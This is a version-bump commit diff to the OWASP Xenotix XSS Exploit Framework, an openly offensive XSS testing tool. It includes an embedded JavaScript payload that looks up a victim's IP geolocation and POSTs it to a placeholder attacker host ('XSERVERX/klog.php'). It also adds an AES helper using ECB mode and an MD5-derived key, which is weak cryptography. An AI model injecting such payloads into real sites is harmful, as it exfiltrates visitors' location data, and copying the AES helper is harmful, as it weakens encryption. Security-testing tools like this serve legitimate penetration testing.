v6.2

Author: ajinabraham

Helper/AES.vb

@@ -0,0 +1,41 @@
+Public Class AES
+    Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
+        Dim AES As New System.Security.Cryptography.RijndaelManaged
+        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
+        Dim encrypted As String = ""
+        Try
+            Dim hash(31) As Byte
+            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
+            Array.Copy(temp, 0, hash, 0, 16)
+            Array.Copy(temp, 0, hash, 15, 16)
+            AES.Key = hash
+            AES.Mode = Security.Cryptography.CipherMode.ECB
+            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
+            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
+            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
+            Return encrypted
+        Catch ex As Exception
+            Return ""
+        End Try
+    End Function
+
+    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
+        Dim AES As New System.Security.Cryptography.RijndaelManaged
+        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
+        Dim decrypted As String = ""
+        Try
+            Dim hash(31) As Byte
+            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
+            Array.Copy(temp, 0, hash, 0, 16)
+            Array.Copy(temp, 0, hash, 15, 16)
+            AES.Key = hash
+            AES.Mode = Security.Cryptography.CipherMode.ECB
+            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
+            Dim Buffer As Byte() = Convert.FromBase64String(input)
+            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
+            Return decrypted
+        Catch ex As Exception
+            Return ""
+        End Try
+    End Function
+End Class

My Project/AssemblyInfo.vb

@@ -11,14 +11,14 @@ Imports System.Runtime.InteropServices
 <Assembly: AssemblyTitle("OWASP Xenotix XSS Exploit Framework")> 
 <Assembly: AssemblyDescription("Advanced XSS Detection and Exploitation Framework")> 
 <Assembly: AssemblyCompany("OpenSecurity")> 
-<Assembly: AssemblyProduct("OWASP Xenotix XSS Exploit Framework")> 
-<Assembly: AssemblyCopyright("Copyright ©  2014 Ajin Abraham")> 
+<Assembly: AssemblyProduct("OWASP Xenotix XSS Exploit Framework")>
+<Assembly: AssemblyCopyright("Copyright ©  2015 Ajin Abraham")>
 <Assembly: AssemblyTrademark("Xenotix, OpenSecurity")> 
 
 <Assembly: ComVisible(False)> 
 
 'The following GUID is for the ID of the typelib if this project is exposed to COM
-<Assembly: Guid("4096b092-88de-40ed-a546-6366eda5064b")> 
+<Assembly: Guid("4096b092-88de-40ed-a546-6366eda5064b")>
 
 ' Version information for an assembly consists of the following four values:
 '
@@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
 ' by using the '*' as shown below:
 ' <Assembly: AssemblyVersion("1.0.*")> 
 
-<Assembly: AssemblyVersion("6.1.0.0")> 
-<Assembly: AssemblyFileVersion("6.1.0.0")> 
+<Assembly: AssemblyVersion("6.2.0.0")>
+<Assembly: AssemblyFileVersion("6.2.0.0")>

Xenotix Information Gathering/xss_info_ip2geolocation.resx

@@ -121,26 +121,19 @@
     <value>17, 17</value>
   </metadata>
   <data name="TextBox1.Text" xml:space="preserve">
-    <value>//Damn Work Around - Ajin Abraham - All right Reserved | Creative Commons license
-function getip(json){
-	 var xhr=new XMLHttpRequest();
-xhr.open("GET","http://www.telize.com/geoip/"+json.ip,true);
+    <value>var xhr=new XMLHttpRequest();
+xhr.open("GET","http://freegeoip.net/json/",true);
 xhr.onreadystatechange = function() {
     if (xhr.readyState == 4 &amp;&amp; xhr.status==200 )
 	{
-		             var xmlhttp=new XMLHttpRequest();
-					 xmlhttp.open('POST', 'http://XSERVERX/klog.php', true);
-
-        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
-                                                                               
-  //    var x = encodeURIComponent(xhr.responseText);
-					 xmlhttp.send('ipgeo=' + xhr.responseText);
+    var xmlhttp=new XMLHttpRequest();
+     xmlhttp.open('POST', 'http://XSERVERX/klog.php', true);
+     xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");                                                                 
+     xmlhttp.send('ipgeo=' + xhr.responseText);
     }
 	}
 xhr.send(null);
-    }
-script = document.createElement('script'); script.src="http://www.telize.com/jsonip?callback=getip"; 
-document.body.appendChild(script);</value>
+  </value>
   </data>
   <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
   <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">

Xenotix Information Gathering/xss_info_ip2geolocation.vb

@@ -45,7 +45,7 @@ Public Class xss_info_ip2geolocation
                     log = item.Value.ToString
                 End If
             Next
-            loc = loc.Replace("ip ", "IP ").Replace("city", "City").Replace("offset", "Offset").Replace("asn", "Autonomous System Number").Replace("country_code3", "Country Code3").Replace("country_code", "Country Code").Replace("country", "Country Name").Replace("isp", "ISP").Replace("timezone", "Timezone").Replace("dma_code", "DMA Code").Replace("continent_code", "Continent Code").Replace("latitude", "Latitude").Replace("longitude", "Longitude").Replace("region_code", "Region Code").Replace("region", "Region").Replace("area_code", "Area Code").Replace("postal_code", "ZIP")
+
             loc += "<br><img src='http://maps.googleapis.com/maps/api/staticmap?center=" + lat + "," + log + "&amp;zoom=14&amp;size=600x400&amp;sensor=false'>"
 
             WebBrowser1.ScriptErrorsSuppressed = True